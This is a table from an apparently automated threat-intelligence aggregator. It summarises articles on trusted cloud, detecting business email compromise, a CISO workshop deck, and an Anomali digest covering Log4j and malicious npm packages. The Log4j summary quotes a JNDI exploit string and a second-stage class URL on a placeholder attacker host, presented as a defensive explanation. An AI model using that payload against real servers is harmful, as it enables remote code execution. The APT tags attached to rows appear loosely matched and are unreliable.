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| Src | Date (GMT) | Titre | Description | Tags | Stories | Notes |
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2023-10-24 08:07:41 | Cloud de confiance : la vision environnementale du Cigref (lien direct) | Le Cigref a retravaillé le volet " environnement " de son référentiel du cloud de confiance. Comment se présente-t-il désormais ? | Cloud | APT 15 | ★★ |
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2022-10-18 08:41:18 | The benefits of taking an intent-based approach to detecting Business Email Compromise (lien direct) |  By Abhishek Singh.BEC is a multi-stage attack. Adversaries first identify targets, then they establish rapport with the victim before exploiting them for whatever their end goal is. In the case of BEC, a threat actor can impersonate any employee in the organization to trick targets. A policy that checks for authorized email addresses of the sender can prevent BEC attacks. However, scaling the approach for every employee in a large organization is a challenge. Building an executive profile based on email analysis using a machine learning model and scanning emails against that profile will detect BEC. Data collection for building and training machine learning algorithms can take time, though, opening a window of opportunity for threat actors to exploit. Detection of exploitation techniques such as lookalike domains and any differences in the email addresses in the "From" and "Reply-to" fields can also detect BEC messages. However, the final verdict cannot account for the threat actor's intent. The intent-based approach detects BEC and then classifies it into the type of scam. It catches BEC messages, irrespective of whether a threat actor is impersonating a C-level executive or any employee in an organization. Classification based on the type of scam can help identify which segment of an organization was targeted and which employees were being impersonated by the threat actor. The additional information will further assist in better designing preventive features to stop BEC. Business email compromise (BEC) is one of the most financially damaging online crimes. As per the internet crime 221 report, the total loss in 2021 due to BEC is around 2.4 billion dollars. Since 2013, BEC has resulted in a 43 billion dollars loss. The report defines BEC as a scam targeting businesses (not individuals) working with foreign suppliers and companies regularly performing wire transfer payments. Fraudsters carry out these sophisticated scams to conduct the unauthorized transfer of funds. This introduces the challenge of how to detect and block these campaigns as they continue to compromise organizations successfully. There are a variety of approaches to identifying BEC email messages, such as using policy to allow emails from authorized email addresses, detecting exploitation techniques used by threat actors, building profiles by analysis of emails, and validating against the profile to detect BEC. These approaches have a variety of limitations or shortcomings. Cisco Talos is taking a different approach and using an intent-based model to identify and block BEC messages. Before we get too deep into the intent-based model, take a deeper look at the commonly used approaches to block BEC from the simplistic through machine learning (ML) approaches. Policy-based detection The first place to start is with policy-based detection as it is one of the most common and simplistic approaches to blocking BEC campaigns. Let's start by looking at an example of a BEC email. |
Threat Medical Cloud | Yahoo Uber APT 38 APT 37 APT 29 APT 19 APT 15 APT 10 | |
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2022-08-06 10:46:21 | CISO workshop slides (lien direct) | A glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142): | Malware Vulnerability Threat Patching Guideline Medical Cloud | Uber APT 38 APT 37 APT 28 APT 19 APT 15 APT 10 APT 34 Guam | |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 |
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